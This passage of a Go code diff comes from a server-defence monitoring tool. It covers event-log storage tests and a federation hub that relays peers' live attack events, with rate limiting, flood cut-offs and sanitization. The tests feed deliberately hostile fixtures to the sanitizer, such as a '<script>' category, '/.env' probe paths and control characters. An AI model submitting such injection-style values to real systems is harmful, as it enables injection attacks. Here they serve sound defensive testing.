if wantEvents {
p := filepath.Join(t.TempDir(), "s.gob")
if err := st.Save(p, nil); err != nil {
t.Fatal(err)
}
st2 := newLogged(t)
if _, err := st2.Load(p); err != nil {
t.Fatal(err)
}
checkConsistent(t, st2, false)
}
}
func TestIPDetailConsistentOnSyntheticLogs(t *testing.T) {
dirs := map[string]string{"ui-shell": scratch + "/ui-shell/logs", "demo": scratch + "/demo/logs"}
ran := 0
for name, dir := range dirs {
if _, err := os.Stat(filepath.Join(dir, "access.log")); err != nil {
continue
}
ran++
t.Run(name, func(t *testing.T) {
st := newLogged(t)
ingestLogs(t, st, dir)
checkConsistent(t, st, true)
})
}
if ran == 0 {
t.Skip("synthetic data sets not available")
}
}
+1 -1
View File
@@ -2,4 +2,4 @@ package app
// Version is the release version (SemVer). Release builds may override it with
// -ldflags "-X .../internal/app.Version=...".
var Version = "1.0.0"
var Version = "1.2.0"
File diff suppressed because it is too large. Load diff
+236
View File
@@ -0,0 +1,236 @@
package evlog
import (
"errors"
"fmt"
"os"
"path/filepath"
"strings"
"testing"
"time"
)
var base = time.Date(2026, 11, 14, 12, 0, 0, 0, time.UTC)
func line(t int64, id uint64, ip, cat string) []byte {
return []byte(fmt.Sprintf(`{"id":%d,"t":%d,"ip":"%s","cat":"%s","source":"traefik","host":"h","domain":"a.example","path":"/.env","status":404}`, id, t, ip, cat))
}
func open(t *testing.T, now *time.Time, max int64) *Log {
t.Helper()
l, err := Open(Options{Dir: filepath.Join(t.TempDir(), "events"), MaxBytes: max, Now: func() time.Time { return *now }})
if err != nil {
t.Fatal(err)
}
return l
}
func TestAppendQueryPaginationAndOrder(t *testing.T) {
now := base
l := open(t, &now, 0)
for i := 0; i < 25; i++ {
l.Append(base.Unix()-int64(i), line(base.Unix()-int64(i), uint64(i+1), "1.2.3.4", "exploit"))
}
l.Append(base.Unix(), line(base.Unix(), 100, "5.6.7.8", "scanner"))
f := Filter{From: base.Unix() - 3600, To: base.Unix() + 10}
var all []uint64
cur := ""
for page := 0; page < 10; page++ {
r, err := l.Query(Query{Filter: f, Limit: 10, Cursor: cur, Desc: true})
if err != nil {
t.Fatal(err)
}
for _, it := range r.Items {
all = append(all, it.Rec.ID)
}
if r.Next == "" {
break
}
cur = r.Next
}
if len(all) != 26 {
t.Fatalf("pagination returned %d events", len(all))
}
seen := map[uint64]bool{}
for _, id := range all {
if seen[id] {
t.Fatal("duplicate across pages")
}
seen[id] = true
}
asc, _ := l.Query(Query{Filter: f, Limit: 5})
for i := 1; i < len(asc.Items); i++ {
if asc.Items[i].Rec.T < asc.Items[i-1].Rec.T {
t.Fatal("ascending order broken")
}
}
if r, _ := l.Query(Query{Filter: Filter{From: f.From, To: f.To, IP: "5.6.7.8"}}); len(r.Items) != 1 {
t.Fatalf("ip filter: %d", len(r.Items))
}
if r, _ := l.Query(Query{Filter: Filter{From: f.From, To: f.To, Cats: map[string]bool{"scanner": true}}}); len(r.Items) != 1 {
t.Fatal("cat filter")
}
if r, _ := l.Query(Query{Filter: Filter{From: f.From, To: f.To, Q: "ENV"}, Limit: 100}); len(r.Items) != 26 || r.TotalEstimate != 26 {
t.Fatalf("q filter %d est %d", len(r.Items), r.TotalEstimate)
}
if _, err := l.Query(Query{Cursor: "!!!"}); !errors.Is(err, ErrCursor) {
t.Fatal("bad cursor must fail")
}
}
func TestRotationCompressionRangeIndexAndRetention(t *testing.T) {
now := base
l := open(t, &now, 0)
old := base.Add(-72 * time.Hour)
for h := 0; h < 24; h++ {
ts := old.Truncate(24 * time.Hour).Add(time.Duration(h) * time.Hour).Unix()
l.Append(ts, line(ts, uint64(h+1), "9.9.9.9", "exploit"))
}
l.Append(base.Unix(), line(base.Unix(), 500, "1.1.1.1", "scanner"))
l.Flush()
now = base.Add(time.Minute)
l.Close()
l.Maintain()
ents, _ := os.ReadDir(l.opt.Dir)
var names []string
for _, e := range ents {
names = append(names, e.Name())
}
joined := strings.Join(names, " ")
if !strings.Contains(joined, ".jsonl.gz") || !strings.Contains(joined, ".idx") {
t.Fatalf("old day must be compressed with an index: %v", names)
}
oldDay := old.Format("2006-01-02")
if _, err := os.Stat(filepath.Join(l.opt.Dir, oldDay+".jsonl")); err == nil {
t.Fatal("plain file of the old day must be gone")
}
day := old.Truncate(24 * time.Hour).Unix()
// whole day, then one hour only (index)
if r, _ := l.Query(Query{Filter: Filter{From: day, To: day + 86399}, Limit: 100}); len(r.Items) != 24 {
t.Fatalf("whole day %d", len(r.Items))
}
var info ScanInfo
n := 0
info = l.Scan(Filter{From: day + 5*3600, To: day + 5*3600 + 100}, 0, false, func(Rec, []byte) bool { n++; return true })
if n != 1 || info.Lines > 2 {
t.Fatalf("hour index must avoid reading the whole day: matched %d lines read %d", n, info.Lines)
}
// a late event for the compressed day is appended as a new member
late := day + 7*3600 + 5
l.Append(late, line(late, 900, "8.8.8.8", "exploit"))
l.Close()
now = base.Add(2 * time.Minute)
l.Maintain()
if r, _ := l.Query(Query{Filter: Filter{From: day, To: day + 86399}, Limit: 100}); len(r.Items) != 25 {
t.Fatalf("late event lost: %d", len(r.Items))
}
if r, _ := l.Query(Query{Filter: Filter{From: day + 7*3600, To: day + 7*3600 + 60}, Limit: 100}); len(r.Items) != 2 {
t.Fatalf("index after append: %d", len(r.Items))
}
// retention
now = base.Add(31 * 24 * time.Hour)
l.Maintain()
if r, _ := l.Query(Query{Filter: Filter{From: day, To: day + 86399}}); len(r.Items) != 0 {
t.Fatal("expired day must be deleted")
}
}
func TestSizeCapDeletesOldestDays(t *testing.T) {
now := base
l := open(t, &now, 700)
for d := 6; d >= 1; d-- {
ts := base.Add(-time.Duration(d) * 24 * time.Hour).Unix()
for i := 0; i < 8; i++ {
l.Append(ts+int64(i), line(ts+int64(i), uint64(d*100+i), "1.1.1.1", "exploit"))
}
l.Close()
l.Maintain()
}
if sz := l.dirSize(); sz > 700 {
t.Fatalf("size %d over the cap", sz)
}
fs := l.list()
if len(fs) == 0 || len(fs) == 6 {
t.Fatalf("expected some, not all, days to remain: %d", len(fs))
}
if fs[len(fs)-1].day != (base.Unix()-86400)/86400 {
t.Fatal("the newest days must survive")
}
}
func TestCorruptedLinesAreIgnored(t *testing.T) {
now := base
l := open(t, &now, 0)
l.Append(base.Unix(), line(base.Unix(), 1, "1.1.1.1", "exploit"))
l.Close()
p := l.path(base.Unix() / 86400)
f, _ := os.OpenFile(p, os.O_APPEND|os.O_WRONLY, 0o600)
f.WriteString("{not json\n\x00\x01garbage\n" + strings.Repeat("x", 300<<10) + "\n")
f.Close()
l2, _ := Open(Options{Dir: l.opt.Dir, Now: func() time.Time { return now }})
l2.Append(base.Unix()+1, line(base.Unix()+1, 2, "1.1.1.1", "exploit"))
if r, err := l2.Query(Query{Filter: Filter{From: base.Unix() - 10, To: base.Unix() + 10}}); err != nil || len(r.Items) != 2 {
t.Fatalf("corruption must be skipped: %v %d", err, len(r.Items))
}
if l2.LastID() != 1 {
t.Fatalf("last id %d", l2.LastID())
}
// a truncated gzip tail is tolerated too
now = base.Add(48 * time.Hour)
l2.Close()
l2.Maintain()
gz := filepath.Join(l.opt.Dir, base.Format("2006-01-02")+".jsonl.gz")
b, _ := os.ReadFile(gz)
os.WriteFile(gz, b[:len(b)-6], 0o600)
l2.Query(Query{Filter: Filter{From: base.Unix() - 10, To: base.Unix() + 10}})
}
type failFile struct{}
func (failFile) Write([]byte) (int, error) { return 0, errors.New("no space left on device") }
func (failFile) Sync() error { return errors.New("no space") }
func (failFile) Close() error { return nil }
func TestDiskFullDoesNotStopTheService(t *testing.T) {
now := base
l := open(t, &now, 0)
l.create = func(string) (file, error) { return failFile{}, nil }
for i := 0; i < 5000; i++ { // more than the bufio buffer: the write error surfaces
l.Append(base.Unix(), line(base.Unix(), uint64(i+1), "1.1.1.1", "exploit"))
}
if l.Dropped() == 0 {
t.Fatal("events must be counted as dropped")
}
l.create = func(string) (file, error) { return nil, errors.New("disk full") }
l.Append(base.Unix(), line(base.Unix(), 1, "1.1.1.1", "exploit"))
l.Flush()
l.Close()
// recovery: the disk works again
l.create = func(p string) (file, error) { return os.OpenFile(p, os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0o600) }
l.Append(base.Unix(), line(base.Unix(), 7777, "2.2.2.2", "exploit"))
if r, _ := l.Query(Query{Filter: Filter{From: base.Unix() - 5, To: base.Unix() + 5, IP: "2.2.2.2"}}); len(r.Items) != 1 {
t.Fatalf("log must recover: %d", len(r.Items))
}
}
func TestDayCapOnlyCounts(t *testing.T) {
now := base
l, _ := Open(Options{Dir: filepath.Join(t.TempDir(), "e"), DayCap: 10, Now: func() time.Time { return now }})
for i := 0; i < 30; i++ {
l.Append(base.Unix(), line(base.Unix(), uint64(i+1), "1.1.1.1", "exploit"))
}
if r, _ := l.Query(Query{Filter: Filter{From: base.Unix() - 5, To: base.Unix() + 5}, Limit: 100}); len(r.Items) != 10 || l.Dropped() != 20 {
t.Fatalf("stored %d dropped %d", len(r.Items), l.Dropped())
}
}
func TestIDsSurviveRestart(t *testing.T) {
now := base
l := open(t, &now, 0)
l.Append(base.Unix(), line(base.Unix(), 41, "1.1.1.1", "exploit"))
l.Close()
l2, _ := Open(Options{Dir: l.opt.Dir})
if l2.NextID() != 42 {
t.Fatal("ids must continue after a restart")
}
}
+64
View File
@@ -0,0 +1,64 @@
package evlog
import (
"bytes"
"strings"
"testing"
"time"
)
func TestQueryBudgetDeadlineAndSemaphore(t *testing.T) {
now := base
l := open(t, &now, 0)
for i := 0; i < 400; i++ {
l.Append(base.Unix()-int64(i), line(base.Unix()-int64(i), uint64(i+1), "1.2.3.4", "exploit"))
}
f := Filter{From: base.Unix() - 3600, To: base.Unix() + 10}
defer func(b int64, d time.Duration) { queryBudget, queryDeadline = b, d }(queryBudget, queryDeadline)
queryBudget = 2000 // a few lines: the budget is checked per line
r, err := l.Query(Query{Filter: f, Limit: 1000})
if err != nil || !r.Truncated || len(r.Items) >= 400 || len(r.Items) == 0 {
t.Fatalf("budget: %v truncated %v items %d", err, r.Truncated, len(r.Items))
}
queryBudget = 256 << 20
queryDeadline = time.Nanosecond
if r, _ = l.Query(Query{Filter: f, Limit: 1000}); !r.Truncated {
t.Fatal("a query past its deadline must come back truncated")
}
queryDeadline = 10 * time.Second
for i := 0; i < cap(querySem); i++ {
querySem <- struct{}{}
}
if _, err = l.Query(Query{Filter: f}); err != ErrBusy {
t.Fatalf("busy: %v", err)
}
for i := 0; i < cap(querySem); i++ {
<-querySem
}
if r, err = l.Query(Query{Filter: f, Limit: 1000}); err != nil || len(r.Items) != 400 || r.Truncated {
t.Fatalf("normal: %v %d", err, len(r.Items))
}
}
func TestOversizedLinesCountAgainstTheBudget(t *testing.T) {
big := strings.Repeat("x", 3*maxLine)
var in bytes.Buffer
for i := 0; i < 10; i++ {
in.WriteString(big + "\n")
}
in.WriteString(`{"t":1,"ip":"1.1.1.1"}` + "\n")
var nb int64
lines := 0
eachLine(&in, func([]byte) bool { lines++; return true }, &nb)
if lines != 1 || nb < 10*3*maxLine {
t.Fatalf("discarded lines must be counted: lines %d bytes %d", lines, nb)
}
// a stream of oversized lines is cut at the hard stop, not read forever
var nb2 int64 = hardStop - 10
var in2 bytes.Buffer
in2.WriteString(big + "\n")
if eachLine(&in2, func([]byte) bool { return true }, &nb2) {
t.Fatal("must stop past the hard limit")
}
}
+13
View File
@@ -0,0 +1,13 @@
package fed
import "time"
// SetLiveLimits shrinks the flood window, the byte ceiling and the first backoff; it returns the restore func.
func SetLiveLimits(window time.Duration, bytesPerSec int, backoff time.Duration) func() {
w, b, k := liveByteWindow, maxLiveBytes, liveBackoff0
liveByteWindow, maxLiveBytes, liveBackoff0 = window, bytesPerSec, backoff
return func() { liveByteWindow, maxLiveBytes, liveBackoff0 = w, b, k }
}
// WaitStream blocks until the live stream goroutines have returned (after ctx is cancelled).
func (h *Hub) WaitStream() { h.swg.Wait() }
+147 -5
View File
@@ -61,25 +61,51 @@ type peerState struct {
latency int64
version string
exports map[string]store.PeerExport
extra map[string]*extraExport // on-demand windows
studies map[string]*studyCached
live bool
}
// extraExport is an export of a window outside the background set.
type extraExport struct {
at time.Time
e store.PeerExport
}
const (
extraTTL = 15 * time.Second
extraMax = 12 // cached on-demand exports per peer
)
// Hub polls peers and serves their latest summaries.
type Hub struct {
Peers []Peer
Token string
Interval time.Duration
client *http.Client
stream *http.Client // long-lived SSE: no overall timeout, no redirects
swg sync.WaitGroup // live stream goroutines
lmu sync.Mutex
live liveState
mu sync.RWMutex
state map[string]*peerState
// OnLive, when set, sees every sanitized peer event before it is published
// (it assigns the local id and registers it in the event log).
OnLive func(*store.LiveEvent)
}
// NewHub creates a hub; Interval defaults to 15 seconds.
func NewHub(peers []Peer, token string) *Hub {
h := &Hub{Peers: peers, Token: token, Interval: 15 * time.Second,
client: &http.Client{Timeout: 4 * time.Second, CheckRedirect: func(*http.Request, []*http.Request) error { return http.ErrUseLastResponse }}, state: map[string]*peerState{}}
tr := http.DefaultTransport.(*http.Transport).Clone()
tr.ResponseHeaderTimeout = 10 * time.Second
h.stream = &http.Client{Transport: tr, CheckRedirect: func(*http.Request, []*http.Request) error { return http.ErrUseLastResponse }}
for _, p := range peers {
h.state[p.Name] = &peerState{exports: map[string]store.PeerExport{}}
h.state[p.Name] = &peerState{exports: map[string]store.PeerExport{}, extra: map[string]*extraExport{}}
}
return h
}
@@ -130,7 +156,7 @@ func (h *Hub) Refresh(ctx context.Context) {
exports := map[string]store.PeerExport{}
var lat time.Duration
var ferr error
for name := range store.Ranges {
for _, name := range store.BackgroundRanges {
var e store.PeerExport
d, err := h.get(ctx, p, "/api/v1/peer/export?range="+name, &e)
if err == nil {
@@ -163,6 +189,106 @@ func (h *Hub) Refresh(ctx context.Context) {
wg.Wait()
}
// fetchRange asks a peer for the export of a window and sanitizes it.
func (h *Hub) fetchRange(ctx context.Context, p Peer, rg store.Range) (store.PeerExport, error) {
var e store.PeerExport
path := "/api/v1/peer/export?range=" + url.QueryEscape(rg.Name)
if rg.Custom() {
path = fmt.Sprintf("/api/v1/peer/export?from=%d&to=%d", rg.From, rg.To)
}
if _, err := h.get(ctx, p, path, &e); err != nil {
return e, err
}
if err := e.SanitizeRange(rg); err != nil {
return e, err
}
e.Summary = rename(e.Summary, p.Name)
return e, nil
}
// exportsFor returns the exports of the online peers (or one) for a window:
// the cached background ones, or an on-demand fetch cached for 15 s.
func (h *Hub) exportsFor(ctx context.Context, rg store.Range, only string) map[string]store.PeerExport {
out := map[string]store.PeerExport{}
var mu sync.Mutex
var wg sync.WaitGroup
for _, p := range h.Peers {
if only != "" && only != p.Name {
continue
}
h.mu.RLock()
st := h.state[p.Name]
online := st.online
var cached *store.PeerExport
if !rg.Custom() {
if e, ok := st.exports[rg.Name]; ok {
cached = &e
}
}
if cached == nil {
if x := st.extra[rg.Key()]; x != nil && time.Since(x.at) < extraTTL {
e := x.e
cached = &e
}
}
h.mu.RUnlock()
if !online {
continue
}
if cached != nil {
out[p.Name] = *cached
continue
}
wg.Add(1)
go func(p Peer) {
defer wg.Done()
e, err := h.fetchRange(ctx, p, rg)
if err != nil {
return
}
h.mu.Lock()
st := h.state[p.Name]
if len(st.extra) >= extraMax {
st.extra = map[string]*extraExport{}
}
st.extra[rg.Key()] = &extraExport{at: time.Now(), e: e}
h.mu.Unlock()
mu.Lock()
out[p.Name] = e
mu.Unlock()
}(p)
}
wg.Wait()
return out
}
// SummariesFor returns the summaries of online peers for any window.
func (h *Hub) SummariesFor(ctx context.Context, rg store.Range, only string) []store.Summary {
m := h.exportsFor(ctx, rg, only)
var out []store.Summary
for _, p := range h.Peers {
if e, ok := m[p.Name]; ok {
out = append(out, e.Summary)
}
}
return out
}
// TrafficFor returns the analytics of online peers for any window and domain.
func (h *Hub) TrafficFor(ctx context.Context, rg store.Range, domain, only string) []store.TrafficData {
m := h.exportsFor(ctx, rg, only)
var out []store.TrafficData
for _, p := range h.Peers {
if e, ok := m[p.Name]; ok {
if t, ok := e.Traffic[domain]; ok {
t.Host = p.Name
out = append(out, t)
}
}
}
return out
}
// rename forces the configured peer name on every row of a remote summary.
func rename(s store.Summary, name string) store.Summary {
s.Host = name
@@ -186,6 +312,7 @@ func (h *Hub) Run(ctx context.Context) {
if len(h.Peers) == 0 {
return
}
h.Stream(ctx)
h.Refresh(ctx)
t := time.NewTicker(h.Interval)
defer t.Stop()
@@ -206,11 +333,14 @@ func (h *Hub) Hosts() []store.HostInfo {
out := make([]store.HostInfo, 0, len(h.Peers))
for _, p := range h.Peers {
st := h.state[p.Name]
hi := store.HostInfo{Name: p.Name, Online: st.online, Error: st.err, LastSeen: st.lastOK, LatencyMS: st.latency, Version: st.version}
hi := store.HostInfo{Name: p.Name, Online: st.online, Error: st.err, LastSeen: st.lastOK, LatencyMS: st.latency, Version: st.version, Live: st.live && st.online}
if e, ok := st.exports["24h"]; ok && st.online {
s := e.Summary
hi.Requests, hi.Malicious = s.Totals.Requests, s.Totals.Malicious
hi.HostileIPs, hi.ActiveBans = s.Totals.HostileIPs, s.Totals.ActiveBans
if len(s.Hosts) > 0 {
hi.Location = s.Hosts[0].Location
}
}
out = append(out, hi)
}
@@ -235,6 +365,18 @@ func (h *Hub) Summaries(rangeName, only string) []store.Summary {
return out
}
// Peers lists the configured peer names (nil-safe).
func (h *Hub) PeerNames() []string {
if h == nil {
return nil
}
out := make([]string, 0, len(h.Peers))
for _, p := range h.Peers {
out = append(out, p.Name)
}
return out
}
// Has reports whether name is a configured peer.
func (h *Hub) Has(name string) bool {
for _, p := range h.Peers {
@@ -246,14 +388,14 @@ func (h *Hub) Has(name string) bool {
}
// IPDetail looks an address up in the cached exports of the online peers (the
// 7-day summary, which carries the full row). No request is made to the peer.
// 30-day summary, which carries the full row). No request is made to the peer.
func (h *Hub) IPDetail(ip string) []store.IPSummary {
h.mu.RLock()
defer h.mu.RUnlock()
var out []store.IPSummary
for _, p := range h.Peers {
st := h.state[p.Name]
e, ok := st.exports["7d"]
e, ok := st.exports["30d"]
if !ok || !st.online {
continue
}
+211
View File
@@ -0,0 +1,211 @@
package fed
import (
"bufio"
"bytes"
"context"
"encoding/json"
"errors"
"net/http"
"strings"
"time"
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/store"
)
const (
maxLiveLine = 16 << 10 // longest SSE line accepted from a peer
maxLiveRate = 50 // events per second accepted from one peer
liveBuffer = 500 // events kept for /api/v1/live/recent
liveIdle = 70 * time.Second
liveBackoffTo = 60 * time.Second
)
// Variables so tests can shrink them.
var (
maxLiveBytes = 1 << 20 // sustained bytes per second accepted from one peer
liveByteWindow = 10 * time.Second
liveBackoff0 = time.Second
)
type liveState struct {
recent []store.LiveEvent // ring of the newest peer events
head int
subs map[chan store.LiveEvent]struct{}
}
// Subscribe returns the live events relayed from peers; call stop when done.
func (h *Hub) Subscribe() (<-chan store.LiveEvent, func()) {
ch := make(chan store.LiveEvent, 64)
h.lmu.Lock()
if h.live.subs == nil {
h.live.subs = map[chan store.LiveEvent]struct{}{}
}
h.live.subs[ch] = struct{}{}
h.lmu.Unlock()
return ch, func() {
h.lmu.Lock()
delete(h.live.subs, ch)
h.lmu.Unlock()
}
}
// Recent returns the newest relayed peer events, newest first.
func (h *Hub) Recent(n int) []store.LiveEvent {
h.lmu.Lock()
defer h.lmu.Unlock()
total := len(h.live.recent)
out := make([]store.LiveEvent, 0, min(n, total))
for i := 0; i < total && len(out) < n; i++ {
idx := ((h.live.head-1-i)%total + total) % total
out = append(out, h.live.recent[idx])
}
return out
}
func (h *Hub) publish(e store.LiveEvent) {
h.lmu.Lock()
defer h.lmu.Unlock()
if len(h.live.recent) < liveBuffer {
h.live.recent = append(h.live.recent, e)
} else {
h.live.recent[h.live.head] = e
h.live.head = (h.live.head + 1) % liveBuffer
}
for ch := range h.live.subs {
select {
case ch <- e:
default: // slow client: drop
}
}
}
func (h *Hub) setLive(name string, v bool) {
h.mu.Lock()
h.state[name].live = v
h.mu.Unlock()
}
// peerLocation is the location the peer reported in its last export.
func (h *Hub) peerLocation(name string) *store.Location {
h.mu.RLock()
defer h.mu.RUnlock()
for _, e := range h.state[name].exports {
if len(e.Summary.Hosts) > 0 && e.Summary.Hosts[0].Location != nil {
l := *e.Summary.Hosts[0].Location
return &l
}
}
return nil
}
// Stream keeps one live subscription per peer until ctx is done, reconnecting
// with an exponential backoff (1 s up to 60 s).
func (h *Hub) Stream(ctx context.Context) {
for _, p := range h.Peers {
h.swg.Add(1)
go func() { defer h.swg.Done(); h.streamPeer(ctx, p) }()
}
}
func (h *Hub) streamPeer(ctx context.Context, p Peer) {
back := liveBackoff0
for ctx.Err() == nil {
start := time.Now()
h.consume(ctx, p)
h.setLive(p.Name, false)
if time.Since(start) > 2*liveBackoffTo {
back = liveBackoff0 // it had been healthy for a while
}
select {
case <-ctx.Done():
return
case <-time.After(back):
}
if back *= 2; back > liveBackoffTo {
back = liveBackoffTo
}
}
}
var errLive = errors.New("live stream refused")
func (h *Hub) consume(ctx context.Context, p Peer) error {
rctx, cancel := context.WithCancel(ctx)
defer cancel()
req, err := http.NewRequestWithContext(rctx, http.MethodGet, p.URL+"/api/v1/peer/stream", nil)
if err != nil {
return err
}
tok := h.Token
if p.Token != "" {
tok = p.Token
}
if tok != "" {
req.Header.Set("Authorization", "Bearer "+tok)
}
req.Header.Set("Accept", "text/event-stream")
resp, err := h.stream.Do(req) // no redirects; https is enforced by ParsePeer
if err != nil {
return err
}
defer resp.Body.Close()
if resp.StatusCode != 200 || !strings.HasPrefix(resp.Header.Get("Content-Type"), "text/event-stream") {
return errLive
}
idle := time.AfterFunc(liveIdle, cancel) // the peer pings every 20 s
defer idle.Stop()
h.setLive(p.Name, true)
rd := bufio.NewReaderSize(resp.Body, maxLiveLine)
var evName string
var tokens = float64(maxLiveRate)
winStart, winBytes := time.Now(), 0
last := time.Now()
for {
line, err := rd.ReadSlice('\n') // ErrBufferFull: a line over 16 KB ends the stream
if err != nil {
return err
}
idle.Reset(liveIdle)
winBytes += len(line)
if float64(winBytes) > float64(maxLiveBytes)*liveByteWindow.Seconds() {
return errLive // a window's worth of budget burned already: flooding
}
if el := time.Since(winStart); el >= liveByteWindow {
if float64(winBytes)/el.Seconds() > float64(maxLiveBytes) {
return errLive // flooding: drop the connection, the backoff applies
}
winStart, winBytes = time.Now(), 0
}
line = bytes.TrimRight(line, "\r\n")
switch {
case bytes.HasPrefix(line, []byte("event:")):
evName = strings.TrimSpace(string(line[6:]))
case bytes.HasPrefix(line, []byte("data:")) && evName == "ev":
now := time.Now()
tokens += now.Sub(last).Seconds() * maxLiveRate
if tokens > maxLiveRate {
tokens = maxLiveRate
}
last = now
if tokens < 1 {
continue // over the budget: discard
}
tokens--
var e store.LiveEvent
if json.Unmarshal(bytes.TrimSpace(line[5:]), &e) != nil || !e.Sanitize(now.Unix()) {
continue
}
e.Host = p.Name
if e.Dst == nil {
e.Dst = h.peerLocation(p.Name)
}
if h.OnLive != nil {
h.OnLive(&e)
}
h.publish(e)
case len(line) == 0:
evName = ""
}
}
}
+180
View File
@@ -0,0 +1,180 @@
package fed_test
import (
"context"
"fmt"
"net/http"
"net/http/httptest"
"strings"
"sync/atomic"
"testing"
"time"
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/core"
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/fed"
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/server"
"git.lucasrguerra.dev.br/ciberfauna/urutau/internal/store"
)
func fakeStream(t *testing.T, conns *atomic.Int32, body func(w http.ResponseWriter)) *httptest.Server {
return httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
if r.URL.Path != "/api/v1/peer/stream" {
http.NotFound(w, r)
return
}
if r.Header.Get("Authorization") != "Bearer tok" {
http.Error(w, "no", 401)
return
}
conns.Add(1)
w.Header().Set("Content-Type", "text/event-stream")
w.WriteHeader(200)
body(w)
w.(http.Flusher).Flush()
<-r.Context().Done()
}))
}
func ev(data string) string { return "event: ev\ndata: " + data + "\n\n" }
func TestLiveRelaySanitizesAndDrops(t *testing.T) {
var conns atomic.Int32
big := ev(`{"ip":"1.2.3.4","cat":"scanner","path":"` + strings.Repeat("a", 20000) + `"}`)
srv := fakeStream(t, &conns, func(w http.ResponseWriter) {
fmt.Fprint(w, ": connected\n\n")
fmt.Fprint(w, ev(`{"ip":"not-an-ip","cat":"scanner"}`))
fmt.Fprint(w, ev(`{"ip":"5.5.5.5","cat":"ok"}`)) // not malicious
fmt.Fprint(w, ev(`{"ip":"5.5.5.5","cat":"<script>"}`)) // unknown category
fmt.Fprint(w, ev(`{"ip":"6.6.6.6","cat":"exploit","host":"evil","path":"/a\u0001b`+strings.Repeat("x", 500)+`","cc":"brasil","status":99999,"src":{"lat":500,"lon":1},"dst":{"lat":10,"lon":20,"label":"`+strings.Repeat("L", 200)+`"},"extra":"x"}`))
fmt.Fprint(w, "event: other\ndata: {\"ip\":\"7.7.7.7\",\"cat\":\"exploit\"}\n\n")
fmt.Fprint(w, ev(`{"ip":"8.8.8.8","cat":"scanner","src":{"lat":-8,"lon":-34,"cc":"BR","city":"Recife"}}`))
fmt.Fprint(w, big) // over 16 KB: the stream is cut
})
defer srv.Close()
p, _ := fed.ParsePeer("edge=" + srv.URL)
h := fed.NewHub([]fed.Peer{p}, "tok")
ch, stop := h.Subscribe()
defer stop()
ctx, cancel := context.WithCancel(context.Background())
defer func() { cancel(); h.WaitStream() }()
h.Stream(ctx)
var got []store.LiveEvent
for len(got) < 2 {
select {
case e := <-ch:
got = append(got, e)
case <-time.After(5 * time.Second):
t.Fatalf("only %d events: %+v", len(got), got)
}
}
a, b := got[0], got[1]
if a.IP != "6.6.6.6" || a.Host != "edge" || a.Cat != "exploit" || a.CC != "" || a.Status != 0 || a.Src != nil {
t.Fatalf("sanitized event %+v", a)
}
if strings.ContainsRune(a.Path, 1) || len(a.Path) > 240 || a.Dst == nil || len(a.Dst.Label) != 64 {
t.Fatalf("strings %q dst %+v", a.Path, a.Dst)
}
if b.IP != "8.8.8.8" || b.Src == nil || b.Src.City != "Recife" || b.Host != "edge" {
t.Fatalf("second %+v", b)
}
if r := h.Recent(10); len(r) != 2 || r[0].IP != "8.8.8.8" {
t.Fatalf("recent %+v", r)
}
// the oversize line ended the stream: no event from it, and the hub reconnects
deadline := time.After(5 * time.Second)
for conns.Load() < 2 {
select {
case <-deadline:
t.Fatalf("no reconnection (%d)", conns.Load())
case <-time.After(50 * time.Millisecond):
}
}
select {
case e := <-ch:
if e.IP == "1.2.3.4" {
t.Fatal("oversize line must not become an event")
}
default:
}
}
func TestLiveRateLimitAndFlag(t *testing.T) {
var conns atomic.Int32
srv := fakeStream(t, &conns, func(w http.ResponseWriter) {
for i := 0; i < 400; i++ {
fmt.Fprint(w, ev(fmt.Sprintf(`{"ip":"9.9.%d.%d","cat":"scanner"}`, i/250, i%250+1)))
}
})
defer srv.Close()
p, _ := fed.ParsePeer("edge=" + srv.URL)
h := fed.NewHub([]fed.Peer{p}, "tok")
ctx, cancel := context.WithCancel(context.Background())
defer func() { cancel(); h.WaitStream() }()
h.Stream(ctx)
deadline := time.Now().Add(5 * time.Second)
for len(h.Recent(500)) == 0 && time.Now().Before(deadline) {
time.Sleep(20 * time.Millisecond)
}
time.Sleep(300 * time.Millisecond)
if n := len(h.Recent(500)); n < 40 || n > 120 {
t.Fatalf("a burst of 400 must be cut to about 50 (got %d)", n)
}
if hs := h.Hosts(); len(hs) != 1 || hs[0].Live {
// Live also needs the peer to be online (polled); here it never was
t.Fatalf("hosts %+v", hs)
}
}
func TestLiveWithRealPeerServer(t *testing.T) {
ps := store.New(store.Config{Name: "remote", Version: "t", Location: &store.Location{Lat: -8, Lon: -35, Label: "Recife"}})
srv := httptest.NewServer(server.New(server.Options{Token: "main-token-0123456789-abcdefghijklmnopqrs", PeerTokens: []string{"peer-secret-0123456789-abcdefghijklmnopqr"}, Version: "t", Store: ps}))
defer srv.Close()
p, _ := fed.ParsePeer("edge=" + srv.URL)
h := fed.NewHub([]fed.Peer{p}, "peer-secret-0123456789-abcdefghijklmnopqr")
ctx, cancel := context.WithCancel(context.Background())
defer func() { cancel(); h.WaitStream() }()
h.Refresh(ctx)
h.Stream(ctx)
deadline := time.Now().Add(5 * time.Second)
for time.Now().Before(deadline) {
ps.Ingest(core.Event{Time: time.Now(), IP: "5.5.5.5", Cat: core.Exploit, Source: "traefik", Method: "GET", Path: "/x"})
if len(h.Recent(5)) > 0 {
break
}
time.Sleep(50 * time.Millisecond)
}
r := h.Recent(5)
if len(r) == 0 || r[0].Host != "edge" || r[0].IP != "5.5.5.5" || r[0].Dst == nil || r[0].Dst.Label != "Recife" {
t.Fatalf("relayed %+v", r)
}
hs := h.Hosts()
if !hs[0].Live || !hs[0].Online || hs[0].Location == nil || hs[0].Location.Label != "Recife" {
t.Fatalf("hosts %+v", hs)
}
}
func TestLiveByteFloodDropsConnection(t *testing.T) {
defer fed.SetLiveLimits(200*time.Millisecond, 10_000, 100*time.Millisecond)()
start := time.Now()
var conns atomic.Int32
pad := strings.Repeat("a", 1000)
srv := fakeStream(t, &conns, func(w http.ResponseWriter) {
for i := 0; i < 200; i++ { // ~200 KB at once: far above 10 KB/s
fmt.Fprintf(w, ": %s\n", pad)
}
})
defer srv.Close()
p, _ := fed.ParsePeer("edge=" + srv.URL)
h := fed.NewHub([]fed.Peer{p}, "tok")
ctx, cancel := context.WithCancel(context.Background())
defer func() { cancel(); h.WaitStream() }()
h.Stream(ctx)
// the flood ends the connection (window check), then the hub reconnects after the backoff
for conns.Load() < 2 {
if time.Since(start) > 2500*time.Millisecond {
t.Fatalf("no drop and reconnection (%d connections)", conns.Load())
}
